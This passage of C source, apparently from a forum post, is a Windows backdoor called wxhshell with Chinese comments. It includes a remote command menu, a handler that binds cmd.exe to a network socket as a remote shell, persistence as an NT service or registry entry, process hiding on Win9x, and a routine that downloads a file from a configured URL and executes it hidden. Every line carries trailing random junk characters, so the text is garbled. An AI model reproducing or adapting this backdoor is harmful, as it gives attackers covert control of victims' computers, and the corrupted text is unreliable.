  case '?': { -8kW!F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Eq.zCD8A  
    break; iuk8c.TAR  
  } mS;Q8Crh  
  // 安装 r_<i*l.  
  case 'i': { \C\y' H5  
    if(Install()) A)a+LW'=u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Jy,IKPp  
    else j<-o{6r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "N:]d*A\  
    break; .;v'oR1x5  
    } o>rlrqr?_  
  // 卸载 aTL7"Myp  
  case 'r': {  hahD.P<  
    if(Uninstall())  SSM> ID  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:&dOqQ  
    else MJR\ g3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nPX'E`ut-V  
    break; ^aM/BS\  
    } 5+"8q#X$  
  // 显示 wxhshell 所在路径 <@ex})su  
  case 'p': { LzSusjEW@  
    char svExeFile[MAX_PATH]; b020U>)v  
    strcpy(svExeFile,"\n\r"); $zA[5}{ZtQ  
      strcat(svExeFile,ExeFile); q'-l; V|  
        send(wsh,svExeFile,strlen(svExeFile),0); jN{xpd  
    break; Jj!tRZT  
    } 5:3$VWLa <  
  // 重启 T ]nR XW$  
  case 'b': { Vw@x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8r|  
    if(Boot(REBOOT)) :H:}t>X6Vo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /*2W?ZM~H  
    else { ^ /eSby  
    closesocket(wsh); |2` $g  
    ExitThread(0); sWzXl~JbF  
    } KFG^vmrn  
    break; e7AI&5Eg{  
    } JV{!Ukuyp+  
  // 关机 t7%Bv+Uo  
  case 'd': { `X03Q[:q"[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uXa}<=O  
    if(Boot(SHUTDOWN)) R,Uy3N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @!HMd{r  
    else { w|*G`~l09  
    closesocket(wsh); T<,tC"  
    ExitThread(0); wm[d5A4  
    } \Le #+ P  
    break; zq>"a&Y,  
    } (MU7  
  // 获取shell  xyCcd=  
  case 's': { l zkn B  
    CmdShell(wsh); 3nGK674;z  
    closesocket(wsh); -mdPqVIJn:  
    ExitThread(0); Ev ,8?  
    break; Ekp 0.c8:  
  } 4nXS9RiF2  
  // 退出 o6%f%:&  
  case 'x': { ZlXs7 &_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {%}6 d~Bg  
    CloseIt(wsh); ~OfKn1D  
    break; wpMQ 7:j  
    } SvrV5X  
  // 离开 KAEpFobYo  
  case 'q': { U.jMK{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I4ct``Di  
    closesocket(wsh); <xz-7EqbwX  
    WSACleanup(); P?ol]MwaB  
    exit(1); z1A-EeT  
    break; v xZUtyJfe  
        } m5g: Q  
  } oK[,xqyA  
  } e+aQ$1^t  
^?`,f>`M  
  // 提示信息 7-B'G/PS/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Dkgu ^`  
} k(^b  
  } 1#RA+d(  
YH$`r6\S  
  return; \dbtd hT;Z  
} ( ~o+pp!  
'm ((G4  
// shell模块句柄 *Y?]="8c#;  
int CmdShell(SOCKET sock) ]c+'SJQ  
{ DzOJ{dF  
STARTUPINFO si; *xKR;?.  
ZeroMemory(&si,sizeof(si)); _~<TAFBr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Stx-(Kfn4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nJw1Sl5  
PROCESS_INFORMATION ProcessInfo; l,8| E  
char cmdline[]="cmd"; #r}c<?>Vw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (P_+m#  
  return 0; AIo;\35  
} RH'R6  
J#nEGl|a  
// 自身启动模式 $o^}<)DW  
int StartFromService(void) B-zt(HG  
{ 1 crjRbi  
typedef struct F.hC%Ncu  
{ OQyOv%g5C  
  DWORD ExitStatus; GQ8P}McA  
  DWORD PebBaseAddress; ThB2U(Wf  
  DWORD AffinityMask; M](U"K?  
  DWORD BasePriority; r73Xh"SL  
  ULONG UniqueProcessId; !%=k/|#  
  ULONG InheritedFromUniqueProcessId; RmCR"~   
}   PROCESS_BASIC_INFORMATION; *()#*0  
Fv B2y8&W  
PROCNTQSIP NtQueryInformationProcess; / nRaxzf'  
'?4[w]0J<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O#k+.LU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :oQaN[3>_  
G_RK3E[FK  
  HANDLE             hProcess; rkp0ej2-  
  PROCESS_BASIC_INFORMATION pbi; Su^Z{ Ud`  
3e:y?hpeL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i[ lH@fJm_  
  if(NULL == hInst ) return 0; O%{>Zo_<  
],m-,K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eSf:[^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~yg9ZM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  _^ZII  
{:cA'6f.b  
  if (!NtQueryInformationProcess) return 0; B dUyI_Ks:  
6<R U~Gh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &kt#p;/p?  
  if(!hProcess) return 0; VI{1SIhfa  
R/7l2*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M,P_xkLp  
&v88x s  
  CloseHandle(hProcess); b1"wQM9  
AmFHn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 48VsHqG  
if(hProcess==NULL) return 0; I-I5^s  
;!b(b%  
HMODULE hMod; FeJ5^Gh.  
char procName[255]; s,8%;\!C  
unsigned long cbNeeded; !LA#c'  
IuL ]V TY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u^$ CR  
%8/$CR  
  CloseHandle(hProcess); LgYzGlJp  
P7!Sc  
if(strstr(procName,"services")) return 1; // 以服务启动 3m'6cMQ  
5irOK9hK  
  return 0; // 注册表启动 ah.Kb(d:  
} WJWrLu92\U  
%|~ UNP$  
// 主模块 {zcjTJ=Zt8  
int StartWxhshell(LPSTR lpCmdLine) . j },  
{ hB4.tMgZ  
  SOCKET wsl; bBf+z7iyc  
BOOL val=TRUE; |m% &Qb  
  int port=0; TfOZ>uR"g  
  struct sockaddr_in door; O_q_O  
s&l[GKR  
  if(wscfg.ws_autoins) Install(); PsVA>Q,4!.  
mCo5 Gdt  
port=atoi(lpCmdLine); -K{ID$!p  
0 N(2[s_A  
if(port<=0) port=wscfg.ws_port; t&0p@xLQ  
A{k@V!A%  
  WSADATA data; {u5@Yp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? "gy`oCv  
6r`g+Js/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h=aHZ6v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d>}%A ]  
  door.sin_family = AF_INET; 4C$,X!kzF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _<8y^ymo  
  door.sin_port = htons(port); J&?kezs  
S;C3R5*:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { POf \l  
closesocket(wsl); YZ}gZQ.A0  
return 1; /\.kH62  
} b]~M$y60q  
7g$t$cZby,  
  if(listen(wsl,2) == INVALID_SOCKET) { QZY (S*Up  
closesocket(wsl); mTt 9 o9E  
return 1; T &1sfS,  
} E_z@\z MB  
  Wxhshell(wsl); j8b:+io  
  WSACleanup(); Cn,dr4J[  
t t=$:}A  
return 0; t%%I.zIV7  
`u-}E9{  
} n\ZFPXP  
5"sF#Y&  
// 以NT服务方式启动 ifkA3]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0-FbV,:;  
{ +RM3EvglDQ  
DWORD   status = 0; cGD A0#r  
  DWORD   specificError = 0xfffffff; (8{Z@  
(]JJ?aAF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %+.]>''a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S'WmPv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _MR2,mC  
  serviceStatus.dwWin32ExitCode     = 0; >2rFURcD  
  serviceStatus.dwServiceSpecificExitCode = 0; z<ek?0?yS  
  serviceStatus.dwCheckPoint       = 0; a7Jr} "B  
  serviceStatus.dwWaitHint       = 0; tnsYY  
r&qD!l5y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BBX4^;t  
  if (hServiceStatusHandle==0) return; ~ M"[FYw[  
+$9w[ARN+  
status = GetLastError(); }K/[3X=B  
  if (status!=NO_ERROR) -vMP{,  
{ 'K`)q6m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #X)s=Y&5!T  
    serviceStatus.dwCheckPoint       = 0; V3-LVgM%  
    serviceStatus.dwWaitHint       = 0; a'|0e]  
    serviceStatus.dwWin32ExitCode     = status; k;)L-ge9  
    serviceStatus.dwServiceSpecificExitCode = specificError; \l:n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f?]cW h%  
    return; )z aMycW  
  } Vq*p?cF .  
Ai/#C$MY$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (GeJBw,Q  
  serviceStatus.dwCheckPoint       = 0; NT/}}vES  
  serviceStatus.dwWaitHint       = 0; qAU]}Et/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f7`y*9^  
} &,\S<B2.  
\nLO.,  
// 处理NT服务事件,比如:启动、停止 \3KCZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `@ObM[0p(  
{ {>i'Pb0mG|  
switch(fdwControl) v4&*iT  
{ 5W'T7asOh  
case SERVICE_CONTROL_STOP: R_^:<F0  
  serviceStatus.dwWin32ExitCode = 0; d&fENnt?h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B!5gD   
  serviceStatus.dwCheckPoint   = 0; r4-r z+x  
  serviceStatus.dwWaitHint     = 0; jj^CW"IB  
  { Q|0[B4e^:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m\t %wr  
  }  E$G8-  
  return; &1I0i[R  
case SERVICE_CONTROL_PAUSE: ,+JAwII>O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;c'jBi5W  
  break; F8pLA@7[  
case SERVICE_CONTROL_CONTINUE: g><sZqj8tt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W6)A":`  
  break; "];19]x6q  
case SERVICE_CONTROL_INTERROGATE: ie_wJ=s  
  break; |HL1.;1  
}; IE|$>q0Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !rXyw`6N  
} v(af aN  
Fv3fad@x  
// 标准应用程序主函数 #R)$nv:h?^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {C<ch@sR  
{ L.8-nTg"y  
s)-=l _4T  
// 获取操作系统版本 <EE)d@%>v  
OsIsNt=GetOsVer(); %9M_ * ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WB= gN:?  
S]<Hx_[}  
  // 从命令行安装 NZ Xmrc{S  
  if(strpbrk(lpCmdLine,"iI")) Install(); :+u?A  
b&!X#3(KT  
  // 下载执行文件 $idYG<],  
if(wscfg.ws_downexe) { @)1u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <)rol  
  WinExec(wscfg.ws_filenam,SW_HIDE); GI/g@RV  
} a.q=  
m:'fk;khN  
if(!OsIsNt) { N!,@}s  
// 如果时win9x,隐藏进程并且设置为注册表启动 wL}=$DN  
HideProc(); f#[Fqkmj  
StartWxhshell(lpCmdLine); kQYX[e7n  
} d/"e3S1  
else 7VR+EV  
  if(StartFromService()) Fd3V5h  
  // 以服务方式启动 N5 g!,3  
  StartServiceCtrlDispatcher(DispatchTable); 0{ \AP<  
else Q|;8\5  
  // 普通方式启动 b,I$.&BD  
  StartWxhshell(lpCmdLine); rtOXK4)]I  
pwm ]2}+  
return 0; Xbfn@7m  
}
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只看该作者 1 发表于: 2006-10-10
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